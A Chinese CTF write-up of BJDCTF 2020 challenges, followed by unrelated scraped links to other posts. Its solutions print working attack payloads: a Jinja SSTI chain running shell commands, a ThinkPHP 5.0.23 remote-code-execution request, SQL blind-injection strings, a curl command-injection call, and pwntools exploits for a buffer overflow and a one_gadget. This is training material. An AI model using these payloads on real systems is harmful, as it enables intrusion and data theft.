title: BJDCTF 2020 刷题记录
categories:

  • CTF
    tags:
  • BJDCTF
  • CTF2020

BJDCTF

Web

duangShell

根据提示,输入.index.php.swp下载到源码。

之后在linux内输入vim -r index.php.swp即可看到源码

 <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

curl -X POST --data “head /flag” 174.1.51.13:88

用curl带出flag

fake google

ssti模板注入

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

即可读取flag

old-hack

根据主页提示是thinkphp5

访问目录/index.php?s=captcha

得知详细版本为

5.0.23

去网上百度漏洞。

发现以下漏洞。直接利用得到flag。

POST /index.php?s=captcha HTTP/1.1
Host: 45a2092a-fa59-4b90-9c4c-55eec2662d02.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 79 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

简单注入

通过扫描器扫描到/hint.txt

打开后为

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

过滤了select,=,’ 等字符

username通过输入\ 可以逃逸字符串

password = or ascii(substr(password,1,1))>78#

布尔盲注,一个一个测,测出密码

账号测得admin

or LENGTH(password)>12# 测得密码为12位

密码正在测

OhyOuFOuNdit

输入后获得flag

Misc

题最简单的misc-y1ng

简单的伪加密winhex破解一下然后发现了文件,发现是

IHDR 是png的格式,然后加一个表头,出现图片破解一下

42 4A 44 7B 79 31 6E 67 7A 75 69 73 68 75 61 69 7D

BJD{y1ngzuishuai}

Real_EasyBaBa

内藏压缩包,发现压缩包就是一个陷阱,无用,就看到了奇怪的很整齐的代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GZWP28er-1584954919873)(https://i.loli.net/2020/03/23/WvVZuGmBAiCxRHf.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4Dz8MWQ5-1584954919873)(https://i.loli.net/2020/03/23/KGRjZmrfQ35BphL.png)]

发现是一个矩阵图 BJD{572154976}

EasyBaBa

发现图片其实是zip,解压发现,文件打不开,发现是视频发现视频中的二维码


修复了一下

61 67 69 6E 5F 6C 6F 76 65 5F 59 42 4A 44 7B 69 6D 31 6E 67 7D

agin_love_YBJD{im1ng}

重新组一下词语

BJD{imagin_love_Y1ng}

圣火昭昭-y1ng

新佛曰:諸壽隸僧壽降吽壽諸壽陀壽摩隸僧缽薩願心壽咤壽囉寂壽闍諸壽哆壽慧壽聞壽色吽愍壽所壽蜜如

破解

gemlovecom

A_Beautiful_Picture

CRC爆破脚本跑他

发现高度被修改,winhex修改一下

BJD{PnG_He1ghT_1s_WR0ng}

Crypto

签到-y1ng

题目给出一段编码,一看就知道是base64,于是base64解密得flagflag:BJD{W3lc0me_T0_BJDCTF}

cat_flag

一组小猫吃饭团的是0 吃鸡腿的是1 按此排列出一串二进制01000010

01001010

01000100

01111011

01001101

00100001

01100001

00110000

01111110

01111101

在转成十六进制,从十六进制在转成字符串

即可得到flag:BJD{M!a0~}

老文盲

BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}

燕言燕语-y1ng

题目是79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20

转成字符串为yanzi ZJQ{xilzv_iqssuhoc_suzjg}

维吉尼亚密码解得BJD{yanzi_jiushige_shabi}

Reverse

guessgame

IDEA打开即可

PWN

one_gadget

题目说明

题目提示one_gadget

下载它的2.29libc,并one_gadget命令找一下libc里面的gadget

解题思路

exp:

from pwn import*
context.log_level = 'debug'
#p= process('./one_gadget')
p = remote('node3.buuoj.cn',25747)
libc = ELF('./libc-2.29.so')
p.recvuntil('for u:')
printf_addr = p.recv(14)
printf_addr = eval(printf_addr)
log.success('printf_addr==>'+hex(printf_addr))
base = printf_addr - libc.symbols["printf"]
one_gadget = base + 0x106ef8
#gdb.attach(p)
p.sendlineafter('gadget:',str(one_gadget))
p.interactive()

r2t3

解题思路

整数溢出

from pwn import*
#context.log_level = 'debug'
#p = process('./r2t3')
p =remote('node3.buuoj.cn',28270)
p.recvuntil('name:\n')
payload = 'A'*(0x11+4)+p32(0x0804858B)
payload = payload.ljust(260,'a')
#gdb.attach(p,'b *0x080485E9')
p.sendline(payload)
p.interactive()

snake_dyn

玩贪吃蛇。3000 2333


完~~~~~~~~~~谢谢观看

BJDCTF-2020-WRITEUP---TiKi小组的更多相关文章

  1. 湖湘杯2020 writeup

    这个平台中间卡的离谱,卡完过后交了flag分还掉了 Web 题目名字不重要 也算是非预期吧,赛后y1ng师傅也说了因为要多端口环境必须这样配,预期解很难 NewWebsite 后台弱口令admin a ...

  2. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  3. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

  4. 三叶草极客大挑战2020 部分题目Writeup

    三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...

  5. #2020征文-手机#深鸿会深大小组:HarmonyOS手机游戏—数字华容道

    目录: 前言 概述 正文 创建项目 实现初始界面布局 实现数字的随机打乱 实现滑动或点击调换数字 实现游戏成功界面 结语 源码包 前言 12月16号HarmonyOS2.0手机开发者Beta版已经发布 ...

  6. 2020新春公益赛 writeup

    简单的招聘系统 无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点: /pages-blank.php?key=1%27+union+select+1%2 ...

  7. Chive CTF 2020 - Tiki

    题目状态: OPEN - 正在试图解这道题CLOSED - 这道题还没有打开SOLVED - 解决了!鼓掌撒花! 赛事信息: 起止时间:2020-04-09 01:00 ~ 2020-04-12 01 ...

  8. ISITDTU CTF 2020 部分Web题目Writeup

    周末,跟着m3w师傅打ISITDTUCTF,m3w师傅带弟弟上分,Tql! Web1 给了源码: <?php class Read{ public $flag; public function ...

  9. 【网鼎杯2020朱雀组】Web WriteUp

    nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...

随机推荐

  1. list基本运用

    #include<iostream> #include<list> using namespace std; list<int>list1,list2; void ...

  2. ZooKeeper搭建集群

    ZooKeeper ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件.它是一个为分布式应用提供一致性 ...

  3. JDK8在泛型类型推导上的变化

    概述 JDK8升级,大部分问题可能在编译期就碰到了,但是有些时候比较蛋疼,编译期没有出现问题,但是在运行期就出了问题,比如今天要说的这个话题,所以大家再升级的时候还是要多测测再上线,当然JDK8给我们 ...

  4. rollup环境搭建(es6转es5、压缩、本地服务器、热更新)

    文件目录 package.json { "name": "my-vue", "version": "1.0.0", &q ...

  5. redis 深入理解redis 主从复制原理

    redis 主从复制 master 节点提供数据,也就是写.slave 节点负责读. 不是说master 分支不能读数据,也能只是我们希望将读写进行分离. slave 是不能写数据的,只能处理读请求 ...

  6. QTabWidget 中 关于Tab 关闭和添加的基本教程!

    QTabWidget是PyQt5 中使用较为广泛的容器之一,经常会在日常使用的软件中用到它:QTabwidget是由几个标签组成,每个标签可以当作一个界面,下面就是应用Qtabwidget的一个简单例 ...

  7. Spark读取Hbase中的数据

    大家可能都知道很熟悉Spark的两种常见的数据读取方式(存放到RDD中):(1).调用parallelize函数直接从集合中获取数据,并存入RDD中:Java版本如下: JavaRDD<Inte ...

  8. JVM进阶之路(一)

    JVM是Java程序运行的基本,了解Java程序的运行原理绝对有必要了解JVM的内容,JVM的内容其实很多,而且版本不同,其中的内容也很多不同,接下来就通过几篇文章来慢慢讲述JVM的内容. 一.Jvm ...

  9. SpringBoot 缓存工作原理

    1. 自动配置类:CacheAutoConfiguration 2. 缓存的配置类: org.springframework.boot.autoconfigure.cache.GenericCache ...

  10. 5.kubernetes的服务暴露插件-Traefik

    目录 1.部署traefik 2.准备资源配置清单 3.应用资源配置清单 4.检查创建资源 5.解析域名 6.配置反向代理 7.浏览器访问 部署traefik 在HDSS7-200.host.com上 ...